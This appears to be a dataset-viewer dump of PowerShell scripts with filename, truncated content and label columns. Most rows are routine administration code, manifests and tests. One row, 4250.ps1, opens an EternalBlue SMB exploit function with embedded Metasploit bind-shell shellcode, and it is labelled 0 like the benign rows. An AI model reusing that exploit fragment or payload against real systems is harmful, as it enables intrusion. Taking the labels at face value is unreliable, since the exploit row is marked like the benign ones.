filename stringlengths 5 142 | content stringlengths 2 26M | label int64 0 1 |
|---|---|---|
2838.ps1 | function LoadConfiguration {
param(
[string]$configdir = (Split-Path -Path $PSScriptRoot -Parent)
)
$configFilePath = Join-Path -Path $configdir -ChildPath $script:psakeConfigFile
$defaultConfigFilePath = Join-Path -Path (Split-Path -Path $PSScriptRoot -Parent) -ChildPath $script:psakeCon... | 0 |
3199.ps1 | function Get-MSSQLColumn {
[cmdletbinding()]
param(
[parameter(
Mandatory=$true,
Position=0,
ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true
)]
[string[]]$table,
[parameter( Mandatory=$tru... | 0 |
1243.ps1 |
if( -not (Test-CTypeDataMember -TypeName 'System.IO.FileInfo' -MemberName 'GetCarbonFileInfo') )
{
Write-Timing ('Updating System.IO.FileInfo type data (GetCarbonFileInfo).')
Update-TypeData -TypeName 'System.IO.FileInfo' -MemberType ScriptMethod -MemberName 'GetCarbonFileInfo' -Value {
param(
... | 0 |
1347.ps1 |
function Install-CIisApplication
{
[CmdletBinding()]
[OutputType([Microsoft.Web.Administration.Application])]
param(
[Parameter(Mandatory=$true)]
[string]
$SiteName,
[Parameter(Mandatory=$true)]
[Alias('Name')]
[string]
... | 0 |
sample_10_76.ps1 | ConvertFrom-StringData @'
id_appxregistrykeys_title=Registry Keys
id_appxregistrykeys_status=Collecting Appx Registry Keys
id_appxfiles_title=Appx Files
id_appxfiles_status=Collecting Appx Files
id_dirlistings_title=Dir Listings
id_dirlistings_status=Collecting Appx Directory Listings
id_appxdatalogs_title=Appx ... | 0 |
h20 -Hashtables 2 object.ps1 | #hashtable to object function.
#used to be able to make custom objects with math inside the pipeline
#e.g. 1..10 | h20 { @{karl = $_;dude = $_+1} }
# gps | h20 { @{name = $_.processname; mem = $_.workingset / 1MB} }
function h20([scriptblock]$sb )
{
begin {}
process{ if ($sb -ne $null)
{
... | 0 |
sample_42_34.ps1 | let pluginUrl = window.chrome.webview.hostObjects.sync.external.GetPluginUrl();
let scripts = [pluginUrl, "Scripts/common.eventHandlers.js", "Scripts/webCore.eventHandlers.js"];
let currentScriptElement = document.querySelector("script[src='Scripts/webCore.plugin.js']");
if (currentScriptElement !== null) {
scr... | 0 |
Get-ADMetaData.ps1 | Param($Domain,$objectDN,$property)
$context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain",$domain)
$dc = [System.DirectoryServices.ActiveDirectory.DomainController]::findOne($context)
$meta = $dc.GetReplicationMetadata($objectDN)
if($property){$meta | %{$_.$Property}}else{$meta}
| 0 |
Convert-PowerPack2Ps1.ps1 | #######################################################################
# Convert-PowerPack2Ps1
#
# Converts PowerGUI .PowerPack files to ps1 PowerShell script library
# v1 - raw conversion, no name changes, only script elements converted
######################################################################
# E... | 0 |
4250.ps1 | function Invoke-EternalBlue($Target, $InitialGrooms, $MaxAttempts, $Shellcode, [Switch]$MsfBind){
$enc = [system.Text.Encoding]::ASCII
if ($MsfBind.IsPresent){
$sc = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSI... | 0 |
sample_17_45.ps1 | #
# Module manifest for module 'OCI.PSModules.Mediaservices'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Mediaservices.dll'
# Version number of this module.
ModuleVersion = '77.0.0'
# Supported PSEdi... | 0 |
sample_28_78.ps1 | ConvertFrom-StringData @'
FailoverClustersModuleRequired=Le module PowerShell obligatoire (FailoverClusters) est introuvable. Utilisez l'outil Rôles et fonctionnalités pour installer : Outils d'administration de serveur distant | Outils d’administration de fonctionnalités | Outils Clustering de basculement | Module Cl... | 0 |
1674.ps1 |
function Get-Powercfg {
$schemes = powercfg /l | ? {$_ -match ':'} | % {
$split = $_ -split ':|\s{2}' | % {$_.trim()}
$guid = $split[1]
$name = $split[2]
$active = $name.endswith('*')
if ($active) {
$name = $name.substring(1, $name.length - 4)
} else ... | 0 |
sample_16_50.ps1 | ###########################################################################
# DC_Disk_Quota
# Version 1.0
# Date: 09-26-2012
# Author: mifannin
# Description: Collects Disk Quota Data
###########################################################################
Import-LocalizedData -BindingVariable Quota -FileNa... | 0 |
sample_44_97.ps1 | #
# Module manifest for module 'OCI.PSModules.Opsi'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Opsi.dll'
# Version number of this module.
ModuleVersion = '79.0.0'
# Supported PSEditions
CompatiblePS... | 0 |
sample_59_13.ps1 | #!/usr/bin/env pwsh
$basedir=Split-Path $MyInvocation.MyCommand.Definition -Parent
$exe=""
$pathsep=":"
$env_node_path=$env:NODE_PATH
$new_node_path="$basedir\..\..\..\..\..\typescript@5.4.5\node_modules"
if ($PSVersionTable.PSVersion -lt "6.0" -or $IsWindows) {
# Fix case when both the Windows and Linux builds of N... | 0 |
sample_17_85.ps1 | ##----------------------------------------------------------------------------
## Copyright (c) Axis Communications AB, SWEDEN. All rights reserved.
##----------------------------------------------------------------------------
# Import string constants
. ./StringConstants.ps1
# Import shared functions and var... | 0 |
Filtering hosts.ps1 | set-psdebug -strict
Function Where-Host
{
<#
.SYNOPSIS
Filter hosts according to hostname resolution, ping reachability or WMI capability
.DESCRIPTION
Filter hostnames by hostname resolution, ping reachbility or WMI capabilities.
Filter can be positive or negative. Positive filter includes hosts that c... | 0 |
4431.ps1 | function Find-RoleCapability
{
[CmdletBinding(HelpUri = 'https://go.microsoft.com/fwlink/?LinkId=718029')]
[outputtype('PSCustomObject[]')]
Param
(
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[string[]]
$Name,
[Parameter()]
[ValidateNotNullO... | 0 |
3836.ps1 |
function EventSubscriptionTests_CustomTopic {
$subscriptionId = Get-SubscriptionId
$location = Get-LocationForEventGrid
$topicName = Get-TopicName
$eventSubscriptionName = Get-EventSubscriptionName
$eventSubscriptionName2 = Get-EventSubscriptionName
$eventSubscriptionName3 = ... | 0 |
4188.ps1 |
Clear-Host
$Global:OS
Function GetOSArchitecture{
$Global:OS=Get-WMIObject win32_operatingsystem
$Global:OS.OSArchitecture
}
GetOSArchitecture
If($Global.OS.OSArchitecture -ne "32-bit"){
New-Item -Path "HKLM:\SOFTWARE\Wow6432Node\Adobe" -Name "Adobe ARM" –Force
... | 0 |
sample_31_39.ps1 | #
# Module manifest for module 'GCArcService'
#
# Generated by: Microsoft
#
# Generated on: 08/09/2020
#
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'GCArcService.psm1'
# Version number of this module.
ModuleVersion = '1.0'
# ID used to uniquely identify... | 0 |
1587.ps1 |
if (gcm Get-Clipboard -ea 0) {
return
}
function Get-Clipboard {
Add-Type -AssemblyName System.Windows.Forms
$(if ([threading.thread]::CurrentThread.ApartmentState.ToString() -eq 'STA') {
Write-Verbose 'STA mode: Using [Windows.Forms.Clipboard] directly.'
[System.Windows.For... | 0 |
2186.ps1 | param(
[parameter(Mandatory=$true)]
$SiteServer,
[parameter(Mandatory=$true)]
$IPAddress
)
function Get-CMSiteCode {
$CMSiteCode = Get-WmiObject -Namespace "root\SMS" -Class SMS_ProviderLocation -ComputerName $SiteServer | Select-Object -ExpandProperty SiteCode
return $CMSiteCode
}
$Results = 0
$Boundary = Ge... | 0 |
1182.ps1 |
$appPoolName = 'CarbonInstallIisAppPool'
$username = 'CarbonInstallIisAppP'
$password = '!QAZ2wsx8fk3'
& (Join-Path -Path $PSScriptRoot 'Initialize-CarbonTest.ps1' -Resolve)
Install-User -Credential (New-Credential -Username $username -Password $password) -Description 'User for testing Carbon''s Install-I... | 0 |
sample_53_19.ps1 |
# ----------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the Licen... | 0 |
2112.ps1 |
using namespace System.Management.Automation.Internal
Describe 'Null Representatives' -Tags 'CI' {
Context 'Comparisons with $null' {
BeforeAll {
$TestValues = @(
@{ Value = { [AutomationNull]::Value } }
@{ Value = { [DBNull]::Value } }
@{ Val... | 0 |
sample_14_22.ps1 | ConvertFrom-StringData @'
id_b2693877_sophos_befltchecktitle=Checking for Ultimaco Safeware disk encryption
id_b2693877_sophos_befltcheckdesc=Checking for Ultimaco Safeware disk encryption version 5.6
id_b2693877_sophos_befltchecksd=Ultimaco Safeware (Sophos) disk encryption version 5.6 is known to cause corruption ... | 0 |
DHCP Backup.ps1 | <#
DHCP Backups Powershell Script
v1.1
2012-06-04
By VulcanX
.SYNOPSIS
This script will automate the backup of DHCP Databases and copy
them into a DFS Store at the following link:
\\\\domain.com\\DHCP
Each location has a seperate folder and once the backup... | 0 |
Compare-TwitterNames.ps1 | #This script will compare the names of the people you follow on Twitter
#and the people following you. It returns a comparison object consisting
#of the Twitter name of a subject and a side indicator -
#"<=" means that you are following a subject who is not following you,
#"=>" means that you are followed by so... | 0 |
sample_17_46.ps1 | #************************************************
# TS_NetworkDTCEnabled.ps1
# Version 1.0.0
# Date: 03-23-2012
# Author: Jeremy LaBorde - jlaborde
# Description: Checks to see if Network DTC
# is enabled
#
#************************************************
. .\DistSvcs_Utils.ps1
Import-LocalizedData -B... | 0 |
Deleted-ObjectsAD_1.ps1 | param(
$Domen,
$ObjectsDeleted
)
function Ping ($Name){
$ping = new-object System.Net.NetworkInformation.Ping
if ($ping.send($Name).Status -eq "Success") {$True}
else {$False}
trap {Write-Verbose "Error Ping"; $False; continue}
}
[string[]]$ObjectPath
[string[]]$Disks
[string[]]$Info
[st... | 0 |
715.ps1 |
function Write-RsRestCatalogItem
{
[CmdletBinding()]
param(
[Parameter(Mandatory = $True, ValueFromPipeline = $true)]
[string[]]
$Path,
[Alias('DestinationFolder')]
[Parameter(Mandatory = $True)]
[string]
$RsFolder,
[string]
$Desc... | 0 |
Compare-TwitterNames_1.ps1 | #This script will compare the names of the people you follow on Twitter
#and the people following you. It returns a comparison object consisting
#of the Twitter name of a subject and a side indicator -
#"<=" means that you are following a subject who is not following you,
#"=>" means that you are followed by so... | 0 |
1599.ps1 |
function Copy-File {
param (
[string]$Path,
[string]$Destination,
[switch]$Overwrite
)
$files = Get-ChildItem $Path -Recurse -File
$source = (Resolve-Path (Split-Path $Path)).ProviderPath
$Destination = (Resolve-Path $Destination).ProviderPath
[... | 0 |
669.ps1 |
Describe "Out-RsCatalogItem" {
Context "Out-RsCatalogItem with min parameters"{
$folderName = 'SutOutRsCatalogItem_MinParameters' + [guid]::NewGuid()
New-RsFolder -Path / -FolderName $folderName
$folderPath = '/' + $folderName
... | 0 |
sample_46_80.ps1 | @{
GUID = 'C46BE3DC-30A9-452F-A5FD-4BF9CA87A854'
Author="Microsoft Corporation"
CompanyName="Microsoft Corporation"
Copyright="Copyright (C) Microsoft Corporation. All rights reserved."
ModuleVersion = '1.0'
NestedModules = @( 'MSFT_MpComputerStatus.cdxml',
'MSFT_Mp... | 0 |
ConvertTo-MultiArray_1.ps1 | function ConvertTo-MultiArray {
<#
.Notes
NAME: ConvertTo-MultiArray
AUTHOR: Tome Tanasovski
Website: http://powertoe.wordpress.com
Twitter: http://twitter.com/toenuff
Version: 1.1
CREATED: 11/5/2010
LASTEDIT:
11/5/2010 1.0
Initial Release
11/5/2010 1.1
Removed array parameter and passes a ... | 0 |
3001.ps1 | Set-StrictMode -Version Latest
function f () {}
Mock f {}
Describe 'Mock at script scope' {
It 't' {
1 | Should -Be 1
}
}
| 0 |
Kill-Process_1.ps1 | function Kill-Process() {
param(
[string[]]$ComputerNames,
[string[]]$ProcessNames,
$User
)
###########################################################################################################
if ($ProcessNames -eq $null) {Write-Error 'The parametre "ProcessNames" cannot be empty';break}
################... | 0 |
sample_58_91.ps1 | @{
# Script module or binary module file associated with this manifest.
RootModule = 'Microsoft.ServiceFabric.Powershell'
# Version number of this module.
ModuleVersion = '3.1.0.0'
# ID used to uniquely identify this module
GUID = 'd2c42633-5254-4a82-a312-1dc0697a55cd'
# Author of this module
Author = '... | 0 |
1113.ps1 |
$siteName = 'DefaultDocument'
$sitePort = 4387
$webConfigPath = Join-Path $TestDir web.config
function Start-TestFixture
{
& (Join-Path -Path $PSScriptRoot -ChildPath '..\Initialize-CarbonTest.ps1' -Resolve)
Install-IisAppPool -Name $siteName
}
function Stop-TestFixture
{
Uninstall-IisAppPool... | 0 |
sample_50_70.ps1 | #
# Module manifest for module 'OCI.PSModules.Oce'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Oce.dll'
# Version number of this module.
ModuleVersion = '83.2.0'
# Supported PSEditions
CompatiblePSEd... | 0 |
2854.ps1 | function Task {
[CmdletBinding(DefaultParameterSetName = 'Normal')]
param(
[Parameter(Mandatory = $true, Position = 0)]
[string]$name,
[Parameter(Position = 1)]
[scriptblock]$action = $null,
[Parameter(Position = 2)]
[scriptblock]$preaction = $null,
... | 0 |
343.ps1 | function Register-PSFConfig
{
[CmdletBinding(DefaultParameterSetName = "Default", HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Register-PSFConfig')]
Param (
[Parameter(ParameterSetName = "Default", Position = 0, ValueFromPipeline = $true)]
[PSFramework.Configuration.Config[]]
$Config,
... | 0 |
sample_5_57.ps1 | #************************************************
# TS_DCOMEnabledk.ps1
# Version 1.0.0
# Date: 03-23-2012
# Author: Jeremy LaBorde - jlaborde
# Description: Checks to see if DCOM is enabled
#************************************************
. .\DistSvcs_Utils.ps1
Import-LocalizedData -BindingVariable Scrip... | 0 |
Get-LocalGroupMember_2.ps1 | function Get-LocalGroupMember {
param(
# The name of the local group to retrieve members of
[Parameter(Position=0,Mandatory=$true)]
[String]$GroupName = "administrators",
# A filter for the user name(s)
[Parameter(Position=1)]
[String]$UserName = "*",
# The computer to query (defaults ... | 0 |
PromptFor-File.ps1 | function PromptFor-File
{
param
(
[String] $Type = "Open",
[String] $Title = "Select File",
[String] $Filename = $null,
[String[]] $FileTypes,
[switch] $RestoreDirectory,
[IO.DirectoryInfo] $InitialDirectory = $null
)
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Window... | 0 |
Set-IPAddress_4.ps1 | # ahhh ... much better. Don't ask for prompts. It's not scriptable if you do.
function Set-IPAddress {
param( [string]$networkinterface,
[string]$ip,
[string]$mask,
[string]$gateway,
[string]$dns1,
[string]$dns2,
[string]$registerDns=$true
)
$dns = $dns1
if($dns2){$dns ="$dns1","... | 0 |
sample_9_72.ps1 | param(
[string]$DataPath,
[switch]$AcceptEula,
[switch]$SkipLogs,
[switch]$Trace,
[switch]$Network,
[switch]$RPC,
[switch]$ProcMon,
[switch]$PSR
)
<#
COM-COLLECT
ALIAS : bpostaci, maporcol
Date : 15/11/2023
Updates:
v1.0 | Initial release
v1.1 | 2023... | 0 |
sample_35_14.ps1 | #
# Module manifest for module 'OCI.PSModules.Functions'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Functions.dll'
# Version number of this module.
ModuleVersion = '79.0.0'
# Supported PSEditions
Co... | 0 |
3438.ps1 |
. "$PSScriptRoot\TestExplorer.ps1"
function Create-HelperModule(
[string] $moduleDir,
[string] $moduleName,
[string] $archiveDir) {
if(-not (Test-Path $archiveDir)) {
$null = New-Item -ItemType directory -Path $archiveDir -ErrorAction Stop
... | 0 |
sample_50_64.ps1 | #
# Module manifest for module 'Az.AnalysisServices'
#
# Generated by: Microsoft Corporation
#
# Generated on: 5/16/2024
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'Az.AnalysisServices.psm1'
# Version number of this module.
ModuleVersion = '1.1.5'
# Suppor... | 0 |
USB Script backup.ps1 | ################################################################################
# Copy-Backup.ps1
# This script will backup recently changed .ps1 files from any selected folder
# (default is $pwd) to any number of inserted USB devices, on which an archive
# folder PSarchive will be created if it does not already... | 0 |
2062.ps1 |
Describe 'Basic engine APIs' -Tags "CI" {
Context 'powershell::Create' {
It 'can create default instance' {
[powershell]::Create() | Should -Not -BeNullOrEmpty
}
It 'can create instance with runspace' {
$rs = [runspacefactory]::CreateRunspace()
$ps = [p... | 0 |
4077.ps1 |
[CmdletBinding()]
param
(
[ValidateNotNullOrEmpty()][string]$SCCMServer='BNASCCM',
[ValidateNotNullOrEmpty()][string]$SCCMDrive='BNA',
[ValidateNotNullOrEmpty()][string]$SCCMCollection = 'All Systems',
[switch]$ReportOnly
)
function Get-RelativePath {
[CmdletBinding()][OutputType([string])]
param ()
$Path... | 0 |
854.ps1 |
$resourceGroup = "bloblisttestrg"
$storageAccountName = "contosobloblisttest"
$containerName = "listtestblobs"
$storageAccount = Get-AzStorageAccount `
-ResourceGroupName $resourceGroup `
-Name $storageAccountName
$ctx = $storageAccount.Context
$listOfBLobs = Get-AzStorageBlob -Container $ContainerNam... | 0 |
Findup_8.ps1 | using System;
using System.Collections;
using System.Collections.Generic;
using System.Text;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using System.IO;
namespace Findup
{
public class FileInfoExt
{
public FileInfoExt(FileInfo fi)
... | 0 |
2968.ps1 | $nugetBinPath = Join-Path -Path $env:ChocolateyInstall -ChildPath 'bin'
$packageBatFileName = Join-Path -Path $nugetBinPath -ChildPath 'psake.bat'
$psakeDir = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent
$path = Join-Path -Path $psakeDir -ChildPath 'psake/psake.cmd'
Write-Host "Adding $packageBat... | 0 |
Issue-PendingRequest.ps1 | #####################################################################
# Issue certificate.ps1
# Version 1.5
#
# Issues certificate request from a pending request
#
# For this function to succeed, the certificate request must be pending
#
# Vadims Podans (c) 2010
# http://en-us.sysadmins.lv/
##################... | 0 |
Select-EnumeratedType.ps1 | #requires -version 2
if (-not(test-path variable:script:_helpcache))
{
$SCRIPT:_helpCache = @{}
}
function Select-EnumeratedType
{
<#
.SYNOPSIS
Visually create an instance of an enum.
.DESCRIPTION
Visually create an instance of an enum with an easy to use menu system... | 0 |
sample_40_3.ps1 | @{
GUID = "A94C8C7E-9810-47C0-B8AF-65089C13A35A"
Author = "PowerShell"
CompanyName = "Microsoft Corporation"
Copyright = "Copyright (c) Microsoft Corporation."
ModuleVersion = "7.0.0.0"
CompatiblePSEditions = @("Core")
PowerShellVersion = "3.0"
FunctionsToExport = @()
CmdletsToExport = "Get-Credential", "Get-ExecutionP... | 0 |
sample_22_77.ps1 | #
# Module manifest for module 'OCI.PSModules.Identitydomains'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Identitydomains.dll'
# Version number of this module.
ModuleVersion = '83.2.0'
# Supported P... | 0 |
2420.ps1 |
[CmdletBinding()]
param (
[Parameter(Mandatory = $False,
ValueFromPipeline = $False,
ValueFromPipelineByPropertyName = $False,
HelpMessage = 'What site server would you like to connect to?')]
[string]$Server = 'CONFIGMANAGER',
[Parameter(Mandatory = $False,
ValueFromPipeline = $False,
... | 0 |
1098.ps1 |
$Port = 9878
$SiteName = 'TestVirtualDirectory'
$VDirName = 'VDir'
$WebConfig = Join-Path $TestDir web.config
function Start-TestFixture
{
& (Join-Path -Path $PSScriptRoot '..\Initialize-CarbonTest.ps1' -Resolve)
Install-IisAppPool -Name $SiteName
}
function Stop-TestFixture
{
Uninstall-IisAp... | 0 |
get-GPOReportSize.ps1 | param(
[Parameter(Position=0,ValueFromPipeline=$True)]$GPOs = @(Get-GPO -All),
[string] $Reportfolder = [Environment]::getfolderpath("mydocuments") + "\\GPOreports"
)
begin{
$script:GPObj = @()
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name
$startfolder = "\\\\$domain\\SYS... | 0 |
sample_9_66.ps1 | # Load Common Library
# Load Reporting Utilities
#_#$debug = $false
. ./utils_cts.ps1
$FirstTimeExecution = FirstTimeExecution
trap [Exception]{
WriteTo-StdOut "$($_.InvocationInfo.ScriptName)($($_.InvocationInfo.ScriptLineNumber)): $_" -shortformat; continue
Write-Host "$($_.InvocationInfo.ScriptName)($... | 0 |
88.ps1 |
function Get-AuthToken {
[cmdletbinding()]
param
(
[Parameter(Mandatory=$true)]
$User
)
$userUpn = New-Object "System.Net.Mail.MailAddress" -ArgumentList $User
$tenant = $userUpn.Host
Write-Host "Checking for AzureAD module..."
$AadModule = Get-Module -Name "AzureAD" -ListAvailable
if ($Aad... | 0 |
sample_4_12.ps1 | @{
GUID="EEFCB906-B326-4E99-9F54-8B4BB6EF3C6D"
Author="PowerShell"
CompanyName="Microsoft Corporation"
Copyright="Copyright (c) Microsoft Corporation."
ModuleVersion="7.0.0.0"
CompatiblePSEditions = @("Core")
PowerShellVersion="3.0"
NestedModules="Microsoft.PowerShell.Commands.Management.dll"
HelpInfoURI = 'https://aka... | 0 |
3201.ps1 | function Add-ObjectDetail
{
[CmdletBinding()]
param(
[Parameter( Mandatory = $true,
Position=0,
ValueFromPipeline=$true )]
[ValidateNotNullOrEmpty()]
[psobject[]]$InputObject,
[Parameter( Mandatory = $false,
... | 0 |
690.ps1 |
function Backup-RsEncryptionKey
{
[CmdletBinding(SupportsShouldProcess = $true, ConfirmImpact = 'Medium')]
param
(
[Parameter(Mandatory = $True)]
[string]
$Password,
[Parameter(Mandatory = $True)]
[string]
$KeyPath,
[Alias('S... | 0 |
2412.ps1 |
[CmdletBinding(DefaultParameterSetName = 'EmailNotification')]
param (
[Parameter(Mandatory)]
[string]$DeploymentId,
[Parameter()]
[ValidateRange(1, 100)]
[int]$FailurePercentThreshold = 10,
[Parameter(ParameterSetName = 'EmailNotification')]
[string]$ToEmailAddress = 'replacethis@defaultemail.com',
[Parame... | 0 |
sample_33_33.ps1 | # Copyright (C) Intel Corporation, 2007 - 2019 All Rights Reserved.
Function Set-AMTAlarmClock {
<#
.Synopsis
Sets a Intel Active Management Technology alarm clock timer
.Description
This CmdLet allows the user to set a wake timer on clients that have Intel Active Management Technology (AMT) firmwa... | 0 |
sample_32_84.ps1 | ConvertFrom-StringData @'
FailoverClustersModuleRequired=Le module PowerShell obligatoire (FailoverClusters) est introuvable. Utilisez l'outil Rôles et fonctionnalités pour installer : Outils d'administration de serveur distant | Outils d’administration de fonctionnalités | Outils Clustering de basculement | Module Cl... | 0 |
sample_67_89.ps1 | # Queries EDP WNFs to get current configuration state.
#
param($scriptOutputPath, $scriptmode)
$logpath = $scriptOutputPath + "\\" + $scriptmode + "EdpState.log"
Add-Content -Path $logpath -Value ($scriptmode + ": Log EDP config info")
# WNF (and other) p/invoke types.
Add-Type -Path ($PSScriptRoot + "\\edput... | 0 |
3820.ps1 |
function Test-SetAzureRmVMSqlServerAKVExtension
{
Set-StrictMode -Version latest; $ErrorActionPreference = 'Stop'
$rgname = Get-ComputeTestResourceName
$loc = Get-ComputeVMLocation
New-AzResourceGroup -Name $rgname -Location $loc -Force;
$vmsize = 'Standard_A2';
$vmname = 'vm... | 0 |
4107.ps1 |
[CmdletBinding()]
param
(
[string]$PSConsoleTitle = 'PowerShell Configuration'
)
function Set-ConsoleTitle {
[CmdletBinding()]
param
(
[Parameter(Mandatory = $true)][String]$ConsoleTitle
)
$host.ui.RawUI.WindowTitle = $ConsoleTitle
}
function Get-RelativePath {
[CmdletBinding()][OutputType([string... | 0 |
sample_28_50.ps1 |
using namespace System.Management.Automation
using namespace System.Management.Automation.Language
Register-ArgumentCompleter -Native -CommandName 'fd' -ScriptBlock {
param($wordToComplete, $commandAst, $cursorPosition)
$commandElements = $commandAst.CommandElements
$command = @(
'fd'
for... | 0 |
Asp.net-Using httpConext.ps1 | @@ Default.aspx
@@----------------
Partial Class _Default
Inherits System.Web.UI.Page
Dim var1 As String
Dim var2 As String
Protected Sub lnk_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles lnk.Click
Context.Items("Nome") = var1
Context.Items("Email") = var2
Server.Transfer("pagina... | 0 |
sample_39_51.ps1 | #
# Module manifest for module 'OCI.PSModules.Disasterrecovery'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Disasterrecovery.dll'
# Version number of this module.
ModuleVersion = '83.1.0'
# Supported... | 0 |
1426.ps1 |
function Get-CPrincipal
{
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[DirectoryServices.AccountManagement.Principal]$Principal,
[Parameter(Mandatory)]
[scriptblock]$Filter
)
Set-StrictMode -Version 'Latest'
Use-CallerPreference -Cmdlet $PSCmdlet ... | 0 |
sample_64_98.ps1 | try {
# Save the project root path
$projRoot = (Get-Location).Path + "\.."
# Check if the 'venv' directory exists
if (Test-Path "$projRoot/venv") {
# Remove the existing 'venv' directory
Remove-Item -Recurse -Force "$projRoot/venv"
Write-Host "Existing virtual environment remove... | 0 |
sample_60_89.ps1 | #
# Module manifest for module 'OCI.PSModules.Monitoring'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Monitoring.dll'
# Version number of this module.
ModuleVersion = '85.1.0'
# Supported PSEditions
... | 0 |
1367.ps1 |
function ConvertTo-CInheritanceFlag
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[Carbon.Security.ContainerInheritanceFlags]
[Alias('ContainerInheritanceFlags')]
$ContainerInheritanceFlag
)
Set-StrictMode -Version 'Latest'
Use-CallerPreference -C... | 0 |
sample_41_8.ps1 | # Localized 05/07/2022 03:57 AM (GMT) 303:7.0.30723 MSFT_ScriptResourceStrings.psd1
# Localized MSFT_ScriptResourceStrings.psd1
ConvertFrom-StringData @'
###PSLOC
SetScriptWhatIfMessage=Executing the SetScript with the user supplied credential
InValidResultFromGetScriptError=Failure to get the results from the ... | 0 |
Get-ChildItemColor_1.ps1 | function Get-ChildItemColor {
<#
.Synopsis
Returns childitems with colors by type.
.Description
This function wraps Get-ChildItem and tries to output the results
color-coded by type:
Compressed - Yellow
Directories - Dark Cyan
Executables - Green
Text Files - Cyan
Others - Default
.ReturnVal... | 0 |
1901.ps1 |
Describe "Tests for the Import-PowerShellDataFile cmdlet" -Tags "CI" {
It "Validates error on a missing path" {
{ Import-PowerShellDataFile -Path /SomeMissingDirectory -ErrorAction Stop } |
Should -Throw -ErrorId "PathNotFound,Microsoft.PowerShell.Commands.ImportPowerShellDataFileCommand"
... | 0 |
Invoke-SqlCmdExe.ps1 | <#
.SYNOPSIS
Runs a T-SQL Query and optional outputs results to a file.
.DESCRIPTION
Invoke-SqlCmdExes.ps1 script is a wrapper around sqlcmd.exe to run a T-SQL query or stored procedure and optionally outputs to a file.
.EXAMPLE
PowerShell.exe -File "C:\\Scripts\\Invoke-SqlCmdExe.ps1" -ServerInstance "Z001\\sql1"... | 0 |
sample_20_13.ps1 | #
# Module manifest for module 'OCI.PSModules.Osubbillingschedule'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Osubbillingschedule.dll'
# Version number of this module.
ModuleVersion = '81.0.0'
# Sup... | 0 |
Sync-Time_1.ps1 | function sync-time(
[string] $server = "clock.psu.edu",
[int] $port = 37)
{
$servertime = get-time -server $server -port $port -set
#leave off -set to just check the remote time
write-host "Server time:" $servertime
write-host "Local time :" $(date)
}
| 0 |
2898.ps1 | BuildTearDown {
throw "forced error"
}
Task default -depends Compile,Test,Deploy
Task Compile {
"Compiling;"
}
Task Test -depends Compile {
"Testing;"
}
Task Deploy -depends Test {
"Deploying;"
}
| 0 |
62.ps1 |
function Get-AuthToken {
[cmdletbinding()]
param
(
[Parameter(Mandatory=$true)]
$User
)
$userUpn = New-Object "System.Net.Mail.MailAddress" -ArgumentList $User
$tenant = $userUpn.Host
Write-Host "Checking for AzureAD module..."
$AadModule = Get-Module -Name "AzureAD" -ListAvailable
if ($Aad... | 0 |
Backup Cisco UCS FI.ps1 | <#
.Synopsis
Does a backup of a single UCS target.
.Description
Uses the UCS PowerTool cmdlet 'Backup-Ucs' and does all four types of UCS backup.
Filenames include the UCS name, date/time stamp, and backup type.
The backup directory is set by a variable in the script. If it doesn't exist the scr... | 0 |
sample_21_19.ps1 | ConvertFrom-StringData @'
id_netbasicinfo=Networking Information
id_netbasicinfoobtaining=Obtaining basic networking information
'@
# SIG # Begin signature block
# MIIoLQYJKoZIhvcNAQcCoIIoHjCCKBoCAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBA... | 0 |
112.ps1 |
function Get-AuthToken {
[cmdletbinding()]
param
(
[Parameter(Mandatory=$true)]
$User
)
$userUpn = New-Object "System.Net.Mail.MailAddress" -ArgumentList $User
$tenant = $userUpn.Host
Write-Host "Checking for AzureAD module..."
$AadModule = Get-Module -Name "AzureAD" -ListAvailable
if ($Aad... | 0 |
4469.ps1 |
$script:helperModuleName = 'PowerShellGet.LocalizationHelper'
Describe "$script:helperModuleName Unit Tests" {
BeforeAll {
$resourceModuleRoot = Split-Path -Path (Split-Path -Path $PSScriptRoot -Parent) -Parent
$dscResourcesFolderFilePath = Join-Path -Path (Join-Path -Path $resourceModuleRoot -C... | 0 |
HuddledTricks_1.ps1 | #Requires -version 2.0
## Stupid PowerShell Tricks
###################################################################################################
## Usage:
## ps Notepad | Hide-App
